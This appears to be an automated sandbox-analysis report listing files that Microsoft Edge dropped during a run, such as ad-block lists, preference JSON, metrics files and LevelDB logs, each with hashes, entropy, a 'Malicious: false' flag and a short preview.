Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\608cbbbc-78b2-429b-b945-8d48264bf703.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6722E5A4-6EC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4505956452101453
Encrypted:	false
SSDEEP:	3072:SYGlu3NGqtQIgBHd4PkcX/IJ2CSXGy3SDqUViJIKzg1HFl4m:ylu9toHd6kcXgUbXMDqUViJIKzaHL4m
MD5:	D1242DA93AB52A8D695CD09BBD71BF61
SHA1:	90257EA78D40EDE18B352CE9EAF2E541F7C7288D
SHA-256:	DCA74DBA4919D330909708808D733BED1CAA4DAB6128F2C84ACF2CB562045336
SHA-512:	28C47418401280C0F7DE07D7937FDBA15AD7CE89855695785B5B7743EAFDB255AD99A1D9CCB6F59051414DF46150047E539CF9BAE4B1DAF6168D644BFCFDF90A
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P...p...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vubjph20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2......._...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2e9ae6e0-23da-49e1-b7a8-635c28b5e709.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.5546694385825335
Encrypted:	false
SSDEEP:	768:+Xf++77pLGLpg2WPMyf7E8F1+UoAYDCx9Tuqh0VfUC9xbog/OVuIj3krw4Ygli5c:+Xf++Ncpg2WPMyf7Eu1jajU394Ygk5Ox
MD5:	10D641C2853FD4FC2EAA0151636D2F9A
SHA1:	45E261DF5DC183092EEA7801ADB7333D69C5ABEE
SHA-256:	363BAB625CDB63B758F63FE732079B5C9390B40AFAC7434636352D21C05227BD
SHA-512:	131DDA905A0BA1CB95F32CB460C48265D231D95C3A6B0CA8D142F1D36CBE162E04F8969E0AB53C1400395D16A09224EEE10377A17CDA5731F1F681A006B4194B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374813860305627","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374813860305627","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8cffa1f3-7d2f-4445-96dd-b238fbd05064.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17370), with no line terminators
Category:	dropped
Size (bytes):	17374
Entropy (8bit):	5.477223452392949
Encrypted:	false
SSDEEP:	384:stHPGQSu41spUfhNGI7PWkZbGeQwy6WhlaTYb:sROXuXUfVZbGtJLaTYb
MD5:	0B44E1B598034C3AEEE8E4320CB7B6C6
SHA1:	DCAD5BD8E7C65E74C353B3EF96A6455428D6B5E4
SHA-256:	82A237E053A3FF99641C4BE202C33F602C81AF0BBDFCB2A5931A6269FB73D40B
SHA-512:	0356DE6F4AC186B19E5F39D0B951D7E7EFD831B389EF72C86366761D7EF11566E6C779DD3F0806005B63DEAED66FEC7B32B413A085D18850FFD20876C95230AC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9a5ccfb7-9a52-46e9-b258-df433b620042.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16612), with no line terminators
Category:	dropped
Size (bytes):	16616
Entropy (8bit):	5.438866814810941
Encrypted:	false
SSDEEP:	384:stHPGQSu41spUfhm7PWkZbGeQwy6W4aTYb:sROXuXUfeZbGtJ8aTYb
MD5:	83CBAA7BD7167F2F6D674E32A716EBAF
SHA1:	0016455E167B878E897A2EC338B89A88CA47AAA0
SHA-256:	88EBF860880E871B95EA9DAABFB1DA5C23F6006C398FB8C3606025BC6C9D6A27
SHA-512:	AD1340EC7AB4207A208D92BDBEFD719E6B6DE9E647DB26BC7E2FC2C5C562152069B506257B2F26D2D0CCDDD8DD833895C84A5D39808A084454E780F400FEB805
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.194627512646219
Encrypted:	false
SSDEEP:	6:6HSPV81923oH+Tcwtp3hBtB2KLlgHSwpM+q2P923oH+Tcwtp3hBWsIFUv:6HSPfYebp3dFLCHSj+v4Yebp3eFUv
MD5:	7F9243800E16529F8DC8493019F936FD
SHA1:	EC78E9844D4ABCA1A244387E590ACD4383ABAA5E
SHA-256:	B84274B90DE7D36B261C3D55E16B5FD9F01D407669A2C3307583DEDD51F0F06C
SHA-512:	A65BACB06CA66A8B49D16A28F3A2FC38C1B101088F623066CC9975DD18EEAC0D9B4F00A40441D40C5E185B8A06BDAD21629D7F3E17520BBF88EC9DB0613EB910
Malicious:	false
Preview:	2024/10/30-22:04:25.822 1fac Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/30-22:04:25.883 1fac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228847645345855
Encrypted:	false
SSDEEP:	24576:v+/PN8FAfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8mfx2mjF
MD5:	761AFF74F4561B86BF8CFBE8088C57F2
SHA1:	6577CACE2198BB6D35D7F54D6D2DA1D12C156BD4
SHA-256:	A6DB37DC85C9D11B4DBB1100105167011A7EF82130DEE2704B8043EDC2CF4F8A
SHA-512:	207CF4AF57C4C4AB2CB9B5CFB5E573AE608A382FA514CE6D9BF256DEB2BD5D6AA6AEA48E87C1F16E6968813DA5BA51800578FC049A306F20684AD575C8A9E5A6
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.055218559006616
Encrypted:	false
SSDEEP:	6:6HSY+q2P923oH+Tcwt9Eh1tIFUt8vHS/Zmw+vHSuVkwO923oH+Tcwt9Eh15LJ:6HSY+v4Yeb9Eh16FUt8vHS//+vHSS5Lw
MD5:	1E3E2694925159F2355A3FF90B25EFB8
SHA1:	44F98469AFFC99B0ED1C41EB331E715A18B96C29
SHA-256:	3F97503B19567A1669908F62C369C3A3F7E287B92E60D514AAB60783CDE0F497
SHA-512:	7681979927DAF6EE237EF6750564594C3093EFF187E8C6B53E6BFF79B3D57568BED4818B56CBA48668816CAF6F97DF9E6F91435C536D1F8297FE61A27BA4AA87
Malicious:	false
Preview:	2024/10/30-22:04:25.780 2044 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-22:04:25.820 2044 Recovering log #3.2024/10/30-22:04:25.827 2044 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.055218559006616
Encrypted:	false
SSDEEP:	6:6HSY+q2P923oH+Tcwt9Eh1tIFUt8vHS/Zmw+vHSuVkwO923oH+Tcwt9Eh15LJ:6HSY+v4Yeb9Eh16FUt8vHS//+vHSS5Lw
MD5:	1E3E2694925159F2355A3FF90B25EFB8
SHA1:	44F98469AFFC99B0ED1C41EB331E715A18B96C29
SHA-256:	3F97503B19567A1669908F62C369C3A3F7E287B92E60D514AAB60783CDE0F497
SHA-512:	7681979927DAF6EE237EF6750564594C3093EFF187E8C6B53E6BFF79B3D57568BED4818B56CBA48668816CAF6F97DF9E6F91435C536D1F8297FE61A27BA4AA87
Malicious:	false
Preview:	2024/10/30-22:04:25.780 2044 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-22:04:25.820 2044 Recovering log #3.2024/10/30-22:04:25.827 2044 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4620569652906629
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuGf:TouQq3qh7z3bY2LNW9WMcUvBuGf
MD5:	B00F4F58F85D100944C418AF50842968
SHA1:	3A5AF13228CEA600294CB63199EBC90E599D17BB
SHA-256:	159BB50E46F43B27A973CE26B6F1EC3C7BB5D67717A236CBB1344AA669C95396
SHA-512:	1139DB28968A7616D5683131DBACD83F5A95E7F4F3C33872C7466D58C84F49F8C2B4CED514113B0A7FB79ADC9D7F393A28F76C8E040486549DBCF467E83161F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.116430400825693
Encrypted:	false
SSDEEP:	6:6HYWyq2P923oH+TcwtnG2tMsIFUt8vHYJP/1Zmw+vHYJPpRkwO923oH+TcwtnG2b:6HYWyv4Yebn9GFUt8vHY59/+vHY5pR5l
